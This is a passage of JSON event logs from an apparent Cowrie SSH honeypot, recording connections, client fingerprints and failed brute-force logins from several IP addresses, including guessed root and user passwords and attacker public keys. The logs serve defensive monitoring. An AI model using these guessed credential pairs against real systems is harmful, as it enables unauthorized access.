ha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:01.419956Z","src_ip":"176.65.132.129","session":"6c05493b75a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:01.671262Z","src_ip":"176.65.132.129","session":"6c05493b75a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:02.771134Z","src_ip":"176.65.132.129","session":"6c05493b75a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51396,"dst_ip":"159.203.135.109","dst_port":22,"session":"35c57a5149fb","protocol":"ssh","message":"New connection: 176.65.132.129:51396 (159.203.135.109:22) [session: 35c57a5149fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:04.496840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:04.501255Z","src_ip":"176.65.132.129","session":"35c57a5149fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:04.583387Z","src_ip":"176.65.132.129","session":"35c57a5149fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:04.922603Z","src_ip":"176.65.132.129","session":"35c57a5149fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:06.008255Z","src_ip":"176.65.132.129","session":"35c57a5149fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59108,"dst_ip":"159.203.135.109","dst_port":22,"session":"14479c334635","protocol":"ssh","message":"New connection: 176.65.132.129:59108 (159.203.135.109:22) [session: 14479c334635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:07.789015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:07.794244Z","src_ip":"176.65.132.129","session":"14479c334635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:07.876307Z","src_ip":"176.65.132.129","session":"14479c334635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:08.122577Z","src_ip":"176.65.132.129","session":"14479c334635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:09.210337Z","src_ip":"176.65.132.129","session":"14479c334635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59118,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa2983acf0ad","protocol":"ssh","message":"New connection: 176.65.132.129:59118 (159.203.135.109:22) [session: aa2983acf0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.034225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.038944Z","src_ip":"176.65.132.129","session":"aa2983acf0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.121245Z","src_ip":"176.65.132.129","session":"aa2983acf0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.368991Z","src_ip":"176.65.132.129","session":"aa2983acf0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":49626,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb17dac5e25","protocol":"ssh","message":"New connection: 86.111.176.100:49626 (10.17.0.5:22) [session: ddb17dac5e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.732813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.737263Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:11.806928Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:80:5a:73:45:c8:30:25:ab:04:95:54:c8:30:6e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWQBnD5f1jx46Fcm9UIHF9s5+L/Uod4ewmWpEnT1MiUdwYkpkUtr7q/8wepKYHBBU7jUJh7pqtvFsLuLvYy7vKY3d0e6LjtbFwFuTY+P+8ls3KqdjxJBSoUJdhPo2D80uFahtn6YzfMAjwj0gBHHpCR61mL3sOSS3ign0b2rwRKHms1jAhGPTQTzZcXVTreiz3t8yuvai+d3qqyoTqxf4EgQ+bPA0zGtH0stzK13XfNAPmiWbj98OnsxUHcTdlZOqCWlODj0uGYOv5aOcK5Oc9kJ5jxeaKaO2Af8vJS5cCCvYwPksCko0ouuLJ79shn1G/DhZ0SdZKkDtiZaRJLyF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:80:5a:73:45:c8:30:25:ab:04:95:54:c8:30:6e:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.131971Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:80:5a:73:45:c8:30:25:ab:04:95:54:c8:30:6e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWQBnD5f1jx46Fcm9UIHF9s5+L/Uod4ewmWpEnT1MiUdwYkpkUtr7q/8wepKYHBBU7jUJh7pqtvFsLuLvYy7vKY3d0e6LjtbFwFuTY+P+8ls3KqdjxJBSoUJdhPo2D80uFahtn6YzfMAjwj0gBHHpCR61mL3sOSS3ign0b2rwRKHms1jAhGPTQTzZcXVTreiz3t8yuvai+d3qqyoTqxf4EgQ+bPA0zGtH0stzK13XfNAPmiWbj98OnsxUHcTdlZOqCWlODj0uGYOv5aOcK5Oc9kJ5jxeaKaO2Af8vJS5cCCvYwPksCko0ouuLJ79shn1G/DhZ0SdZKkDtiZaRJLyF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.136374Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:cb:7a:07:dc:ec:96:16:42:52:c3:9f:28:85:f5:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfhK9oz8nxUGnhLXwfXvuvEW0tKNbAClPQ16XmX80977hlarYgSIyS2QI87U0vR5ODiDiHrU5qfDeHij0QoRbCoX978Z3xWbvB/rllJ5UOlWXDbWBM15SPDsfsHyu/emAJfaahLYEvXqTQaSRqra72kHlDgOKkl4LrDZAkoqz0VePU9htuzMNDPUEVAs737xIWdm7qtMNc+QcebwIMhrt/I7g4upGam33bdsOwRyv92M4nkW9Nca0s3Ie6b5TDpAQ1jiRWyRbnKl+vpBLm10c6G/O5HEVRB5a/w+twd8gez/vNOrJsXct0c0feMgZiiczuEa9RTLxEvoKU0HOiUilt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:cb:7a:07:dc:ec:96:16:42:52:c3:9f:28:85:f5:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.211656Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:cb:7a:07:dc:ec:96:16:42:52:c3:9f:28:85:f5:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfhK9oz8nxUGnhLXwfXvuvEW0tKNbAClPQ16XmX80977hlarYgSIyS2QI87U0vR5ODiDiHrU5qfDeHij0QoRbCoX978Z3xWbvB/rllJ5UOlWXDbWBM15SPDsfsHyu/emAJfaahLYEvXqTQaSRqra72kHlDgOKkl4LrDZAkoqz0VePU9htuzMNDPUEVAs737xIWdm7qtMNc+QcebwIMhrt/I7g4upGam33bdsOwRyv92M4nkW9Nca0s3Ie6b5TDpAQ1jiRWyRbnKl+vpBLm10c6G/O5HEVRB5a/w+twd8gez/vNOrJsXct0c0feMgZiiczuEa9RTLxEvoKU0HOiUilt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.215819Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:18:80:5a:3c:ee:bc:84:01:10:24:0a:ba:c3:ae:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrYKeOA89PsK3/blP9lwvRBctQS64mfngQVUGcBCAgpFEg/sdJWWDk/ZkeP7/1859vJYVSMvuWKWsPinvdy+tC+iMlAsLKwwaU1l82rCE8FleymE/s2VWAe01o2axG+SonCAXn2wQq30DFLzjghw5P6H9JE2fNLZXS0MteLuYnWDhOgwJJU0bX81WGdfTNHG7xtoNtF1gp+C0Z3jG6vSJjOqGs9FNHG+q4ldf3Ug3OEfggzScLorIthV+XVeGUfYtrc4Mq5ifDT2UAFICtfjNEfDquA4IFjcd0PTYyqzUkHHWBb6X+dB4w7PZ5xvX8lFmgXLFi8tqzLyWtIaRHoXwH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:18:80:5a:3c:ee:bc:84:01:10:24:0a:ba:c3:ae:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.286415Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:18:80:5a:3c:ee:bc:84:01:10:24:0a:ba:c3:ae:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrYKeOA89PsK3/blP9lwvRBctQS64mfngQVUGcBCAgpFEg/sdJWWDk/ZkeP7/1859vJYVSMvuWKWsPinvdy+tC+iMlAsLKwwaU1l82rCE8FleymE/s2VWAe01o2axG+SonCAXn2wQq30DFLzjghw5P6H9JE2fNLZXS0MteLuYnWDhOgwJJU0bX81WGdfTNHG7xtoNtF1gp+C0Z3jG6vSJjOqGs9FNHG+q4ldf3Ug3OEfggzScLorIthV+XVeGUfYtrc4Mq5ifDT2UAFICtfjNEfDquA4IFjcd0PTYyqzUkHHWBb6X+dB4w7PZ5xvX8lFmgXLFi8tqzLyWtIaRHoXwH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.290803Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:cb:64:d4:26:33:17:16:23:81:e4:97:b5:16:15:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPflBm3VyVA4Cc2WymLtT1gw3nLAOaTzQlWpwF7JcPQXWb7F+apYTKksiYSQshtvQ38yIPrtqAIE8uMpGAOBRhXDcLcJvi3scGuuOqGjDmIgMycy2/mgXZX5O4U7nyP8gbzMt0YwwLb5s4t3ffjWwZLYP9fidlGjJMpll4SKqCNLK7azdwhpmlpXn+Tvq5amRJvuQi75ANQfh/5Mw6eqs+gp717L8/QfrB+Nggwghld+hqmSnNAbnqrmTuMdwQgmJQu1v0haetmFOCx6YLALaAVN+mBh5srJXpLXwI5Rilzl1ZWvgNTJwl38e8WdPYD9XqnQYXuPR+HOH2vdmQLuuf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:cb:64:d4:26:33:17:16:23:81:e4:97:b5:16:15:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.362261Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:cb:64:d4:26:33:17:16:23:81:e4:97:b5:16:15:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPflBm3VyVA4Cc2WymLtT1gw3nLAOaTzQlWpwF7JcPQXWb7F+apYTKksiYSQshtvQ38yIPrtqAIE8uMpGAOBRhXDcLcJvi3scGuuOqGjDmIgMycy2/mgXZX5O4U7nyP8gbzMt0YwwLb5s4t3ffjWwZLYP9fidlGjJMpll4SKqCNLK7azdwhpmlpXn+Tvq5amRJvuQi75ANQfh/5Mw6eqs+gp717L8/QfrB+Nggwghld+hqmSnNAbnqrmTuMdwQgmJQu1v0haetmFOCx6YLALaAVN+mBh5srJXpLXwI5Rilzl1ZWvgNTJwl38e8WdPYD9XqnQYXuPR+HOH2vdmQLuuf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.366237Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:f1:6b:60:d0:ae:f6:5f:10:6a:7a:96:52:fc:20:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdq8x/vEbPOX4ZoJp1NoUgC9FyoXzBJtc+BHwfqi1yIM1eyCyN87u8UMnnVJLxSiBAp/bhJYfqFMSDrEKGc1ckRYd4rIjMFPgscVBmmsX1PdZ1IRrySdyizMAxVaW4osQiwKZFVuIh8U9rU17krfpW3ev3UuqRu6sA9KL2U27twL5eIDaSQb+6ZvJ/dAZmAKs0W01GtFk8JAoWFvdoheTU59/bp7niEQGKSbCX1GKSn2E9JtCxyf5LDnSR0mw7Es2bOX1nxif/X1qJCyjWfm6s2FGKQt1bJZCTHoxUqNayjpaQcRnZLqL0sHk+qpqm9St85rAYuHsy/2sroD21tMLL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:f1:6b:60:d0:ae:f6:5f:10:6a:7a:96:52:fc:20:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.436890Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:f1:6b:60:d0:ae:f6:5f:10:6a:7a:96:52:fc:20:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdq8x/vEbPOX4ZoJp1NoUgC9FyoXzBJtc+BHwfqi1yIM1eyCyN87u8UMnnVJLxSiBAp/bhJYfqFMSDrEKGc1ckRYd4rIjMFPgscVBmmsX1PdZ1IRrySdyizMAxVaW4osQiwKZFVuIh8U9rU17krfpW3ev3UuqRu6sA9KL2U27twL5eIDaSQb+6ZvJ/dAZmAKs0W01GtFk8JAoWFvdoheTU59/bp7niEQGKSbCX1GKSn2E9JtCxyf5LDnSR0mw7Es2bOX1nxif/X1qJCyjWfm6s2FGKQt1bJZCTHoxUqNayjpaQcRnZLqL0sHk+qpqm9St85rAYuHsy/2sroD21tMLL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.440810Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.458019Z","src_ip":"176.65.132.129","session":"aa2983acf0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:12.515966Z","src_ip":"86.111.176.100","session":"ddb17dac5e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39788,"dst_ip":"10.17.0.5","dst_port":22,"session":"228e0581a748","protocol":"ssh","message":"New connection: 80.94.92.184:39788 (10.17.0.5:22) [session: 228e0581a748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.251270Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59130,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3e94585fdcd","protocol":"ssh","message":"New connection: 176.65.132.129:59130 (159.203.135.109:22) [session: f3e94585fdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.262340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.267276Z","src_ip":"176.65.132.129","session":"f3e94585fdcd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.327928Z","src_ip":"80.94.92.184","session":"228e0581a748","protocol":"ssh"}
